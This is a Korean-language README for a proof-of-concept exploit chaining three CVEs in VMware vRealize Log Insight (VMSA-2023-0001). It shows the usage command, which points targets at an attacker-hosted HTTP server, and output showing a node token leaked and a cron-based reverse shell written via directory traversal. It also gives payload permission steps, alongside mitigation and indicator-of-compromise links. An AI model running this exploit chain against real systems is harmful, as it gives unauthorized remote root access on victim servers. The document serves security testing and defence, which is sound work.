VMSA-2023-0001

VMware vRealize Log Insight에 영향을 미치는 VMSA-2023-0001에 대한 PoC이며, 다음 CVE를 포함합니다:

VMware vRealize Log Insight 디렉터리 트래버설 취약점 (CVE-2022-31706)
VMware vRealize Log Insight 취약한 접근 제어 취약점 (CVE-2022-31704)
VMware vRealize Log Insight에 정보 공개 취약점이 포함됨 (CVE-2022-31711)

이 취약점의 기본 구성은 리버스 셸을 생성하는 cron 작업을 작성합니다. 반드시 payload 파일을 사용자 환경에 맞게 변경하십시오.

기술 분석

취약점에 대한 기술적 근본 원인 분석은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive

손상 지표

Log Insight 인스턴스에서 손상 지표를 분석하려면 당사의 IOC 블로그를 확인하세요: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

요약

이 PoC는 다양한 Thrift RPC 엔드포인트를 악용하여 임의 파일 쓰기를 달성합니다.

사용 방법

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

문제 해결

cron 기반 페이로드를 사용하는 경우, 페이로드 파일에 적절한 권한과 소유자가 설정되어 있는지 확인하십시오:

sudo chown root:root payload

sudo chmod 0644 payload

완화 조치

최신 버전으로 업데이트하거나 VMSA 내 지침에 따라 완화하십시오. https://www.vmware.com/security/advisories/VMSA-2023-0001.html

면책 조항

이 소프트웨어는 순수하게 학술 연구와 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

vRealizeLogInsightRCE

인기